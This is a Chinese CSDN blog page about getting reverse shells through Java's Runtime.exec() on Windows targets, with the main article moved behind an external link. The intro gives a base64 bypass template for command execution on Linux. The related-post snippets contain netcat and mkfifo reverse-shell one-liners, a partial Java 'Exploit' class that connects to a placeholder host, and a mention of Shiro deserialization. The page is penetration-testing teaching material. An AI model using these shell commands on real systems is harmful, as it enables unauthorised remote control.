使用java命令执行函数反弹windows-shell

最新推荐文章于 2024-05-09 14:38:44 发布
最新推荐文章于 2024-05-09 14:38:44 发布
阅读量3.7k 收藏
点赞数
分类专栏： getshell 文章标签： java windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51478862/article/details/124222170
版权

前言

偶尔有时命令执行有效负载Runtime.getRuntime().exec()会失败。使用Webshell，反序列化漏洞或其他向量时可能会发生这种情况。
这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义。

所以不像在命令框中可以直接运行复杂命令

对于Linux靶机可以使用base64编码命令进行绕过。

bash -c {echo,命令进行base64编码}|{base64,-d}|{bash,-i}

而对于windows系统一直没有解决方法。

而这篇文章就是解决该问题的。

因为语雀导出文章，包含的图片无法显示，则只放置了语雀文章链接
https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?# 《使用java命令执行函数反弹windows-shell》

虚无-缥缈
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
linux利用java反弹shell_linux反弹shell
weixin_42509888的博客
02-26 400
参考链接http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.htmlhttp://www.waitalone.cn/linux-shell-rebound-under-way.htmlhttp://roo7break.co.uk/?p=215http://pentestmonkey.net/cheat-sheet/shells/re...
linux利用java反弹shell_Java Runtime.exe() 执行命令与反弹shell（上）
weixin_34710938的博客
02-26 553
0x00 前言在自己学习复现 Nexus Repository Manager 3 RCE 漏洞的时候(CVE-2020-10199/10204)由于自己对 Java 的 Runtime.exec() 执行命令以及反弹shell理解的太过于浅薄，使用了以下语句无法反弹shell，踩了很多坑$\\A{''.getClass().forName('java.lang.Runtime').getMeth...
反弹Shell原理与实现
m0_62451321的博客
11-14 3094
Windows作为攻击者主机，Linux是被入侵主机（目标主机），此时目标主机上只要能正常运行Linux命令便可以实现反弹，利用Linux的Bash命令重定向和Windows上的Netcat应用程序，如果没有，则网络下载netcat应用程序即可。远程桌面，Web服务，SSH，SMB等等，都是正向连接。（3）对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。（1）某客户机中了你的木马，但是它在局域网内，你直接连接不了。
java反弹shell
a807719447的专栏
01-26 1992
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { public Exploit() throws Exception { String host="xx.xx.xx.xx"; int port=9001; String cmd="/bi.
网络安全-反弹shell详解（攻击，检测与防御）_反弹shell原理及防御方法
最新发布
2401_84264491的博客
05-09 540
如果我们需要到服务器上执行 Shell 命令，但是因为防火墙等原因，无法由客户端主动发起连接的情况，就可以使用反弹 Shell 来满足登陆和操作的需求。
反弹Shell方法论，Windows篇
大河之犬的博客
10-10 740
使用它你可以轻易的建立任何连接。要创建Powershell反向Shell，黑客需要在目标系统上运行一个恶意的Powershell脚本，该脚本将与攻击者的服务器建立连接。Powershell反向Shell是一种常用的攻击技术，用于在目标系统上建立与攻击者控制的远程服务器之间的连接。Perl反向Shell是一种利用Perl编写的恶意脚本，用于建立与目标系统的反向连接。在计算机网络上，OpenSSL 是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。
Java代码执行shell命令的实现
08-25
Java代码执行shell命令的实现可以使用`Runtime.exec()`方法和`ProcessBuilder`方法两种方式。`Runtime.exec()`方法简单易用，但不能定制进程的参数和环境变量，而`ProcessBuilder`方法可以灵活地执行shell命令，并且...
Spark-shell批量命令执行脚本的方法
09-15
在Spark开发过程中，有时我们需要执行一系列的Spark SQL或者DataFrame操作，这时手动输入命令可能会非常...希望这个关于Spark-shell批量命令执行脚本的方法能够对你有所帮助，让你在大数据处理的过程中更加得心应手。
hbase-shell批量命令执行脚本的方法
01-10
批量执行hbase shell 命令 #!/bin/bash source /etc/profile ...以上这篇hbase-shell批量命令执行脚本的方法就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持软件开发网。
基于Java实现ssh命令登录主机执行shell命令过程解析
08-25
基于Java实现ssh命令登录主机执行shell命令过程解析是指使用Java语言实现ssh命令登录主机，并执行shell命令的过程。在这个过程中，我们将使用Java语言连接到远程主机，并执行特定的shell命令，以实现远程管理和自动...
【Linux】利用Java反弹shell
RongChun的博客
12-17 1806
攻击机 开启监听端口 靶机 编辑Test.java 注意事项：类名要和文件名一致。 public class Test { /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRun
java调用shell获取错误信息_记一次突破反弹shell
weixin_39994461的博客
11-20 285
这是酒仙桥六号部队的第 106篇文章。全文共计1809个字，预计阅读时长6分钟。背景某天闲着无聊，小伙伴发来一个某网站，说只能执行命令，不能反弹shell。测试对着目标站点一顿测试。发现确实存在shiro反序列化，并且存在可以利用的gadget。利用发现确实可以执行命令，但是我们执行反弹的时候。反弹不回来，emmm。查看各种系命令以及分析。发现是一个精简的Linux，经常用于doc...
linux利用java反弹shell_Linux重定向及反弹shell详解
weixin_36288711的博客
02-26 186
这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell目录0x01 文件描述符0x02 重定向0x03 反弹shell0x04 交互重定向0x05 命令变形0x01 文件描述符Linux的文件描述符有以下三种标准输入：0标准输出：1错误输出：2对于文件描述符就先知道这些就可以了，具体的使用会在重定向中来说，重定向就是对文件描述符的操作0x02 重定向重定向主要分为以下两种...
反弹shell
Massimo__JAVA的博客
04-27 335
环境：攻击者kali：192.168.116.128受害者centos：192.168.116.95kali监听本地7777端口目标机执行反弹shell命令命令解释为：将目标主机的bash shell以-i交互式的方式，标准输出+错误输出重定向到192.168.116.128:7777，而在192.168.116.128:7777的标准输入命令会重定向到192.168.116.128:7777的标准输出中简言而知，就是将目标主机的标准输入、标准输出、错误输出全都重定向到攻击端上。
java代码审计8之命令执行
划水的小白白
08-04 759
1、Java命令执行的函数 1.1、Runtime类 1.2、追踪三个函数的关系 1.3、ProcessBuilder类 1.4、ProcessImpl类 2、SpEL表达式 2.1、正常使用的场景 2.2、造成漏洞 2.3、漏洞修复 2.4、多种产生漏洞的情况 2.5、发现漏洞，重要关注两点： 之前的文章， php代码审计12之命令执行
runtime调用命令行运行bat文件
愤怒的coder
02-23 1298
package com;import java.io.IOException; public class JavaRunDoc {     public static void main(String args[]) {      try   {               Runtime.getRuntime().exec("d:\\a.bat");        }catch(IOEx...
java中runtime.exec无法反弹bash shell的原因及解决办法
好
10-02 2819
前些天在搞es的远程代码执行问题，扫描器扫出来几个，想反弹个shell出来，结果反弹不出来。 图看不清楚…总之就是使用 java.lang.Runtime.getRuntime().exec(command)，执行了反弹shell的bash命令。结果反弹不出来。 问了同事才知道，管道符、输入输出重定向，只有在bash环境下才能用。而在这里，我们使用的是java为我们提供的命令执行环境，不支...
反弹shell总结
桀骜不逊
02-09 1079
nc反弹shell 正向shell nc -lvp 1234 -e /bin/bash # linux 服务端（被攻击的主机） nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端（被攻击的主机） nc host.example.com 1234 # linux 客户端 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.
反弹shell从入门到进阶
飞鱼的企鹅的博客
10-14 320
前言 在渗透测试过程中，反弹shell是获取到权限的一种很重要的方式，一直用那些反弹shell的命令却不知道是什么意思，现在来专门学习一下原理。 什么是反弹shell 反弹shell(reverse shell)，就是监控端在监控某TCP/UDP端口，被控制端使用漏洞或其他方法发起请求到该端口，并将其命令行的输入输出转到控制端。 为什么要反弹shell 当我们已经打开了被攻击机的相应端口，如22,...
java jsch 调用shell_Java-Jsch-Shell脚本执行后退出
06-10
您好！针对您的问题，我可以给出以下解答： Java JSch 是一个用于远程执行命令和传输文件的 Java 库，通过 JSch，我们可以在 Java 应用程序中连接到远程主机，并执行远程主机上的命令。 针对您的问题，如果您在使用 Java JSch 调用 shell 脚本时，脚本执行后立即退出，可能是因为您的 Java 程序没有等待 shell 脚本执行完毕就立即退出了。 为了解决这个问题，您可以在调用 shell 脚本的代码中，使用 `ChannelExec.setPty(true)` 方法启用伪终端模式，并使用 `ChannelExec.setCommand(command + ";echo finished")` 方法在 shell 脚本执行完毕后输出一个 "finished" 的标识符。然后您可以使用 `ChannelExec.getInputStream()` 方法获取 shell 脚本的输出流，并等待输出流中包含 "finished" 标识符，表示 shell 脚本已经执行完毕，然后再关闭连接。 以下是一个示例代码： ``` JSch jsch = new JSch(); Session session = jsch.getSession(username, host, port); session.setPassword(password); session.setConfig("StrictHostKeyChecking", "no"); session.connect(); ChannelExec channelExec = (ChannelExec) session.openChannel("exec"); channelExec.setPty(true); channelExec.setCommand(command + ";echo finished"); channelExec.setInputStream(null); channelExec.setErrStream(System.err); InputStream inputStream = channelExec.getInputStream(); channelExec.connect(); byte[] tmp = new byte[1024]; while (true) { while (inputStream.available() > 0) { int i = inputStream.read(tmp, 0, 1024); if (i < 0) break; System.out.print(new String(tmp, 0, i)); } if (channelExec.isClosed()) { if (inputStream.available() > 0) continue; System.out.println("exit-status: " + channelExec.getExitStatus()); break; } try { Thread.sleep(1000); } catch (Exception ee) {} } channelExec.disconnect(); session.disconnect(); ``` 希望这个解答能够帮到您！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚无-缥缈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值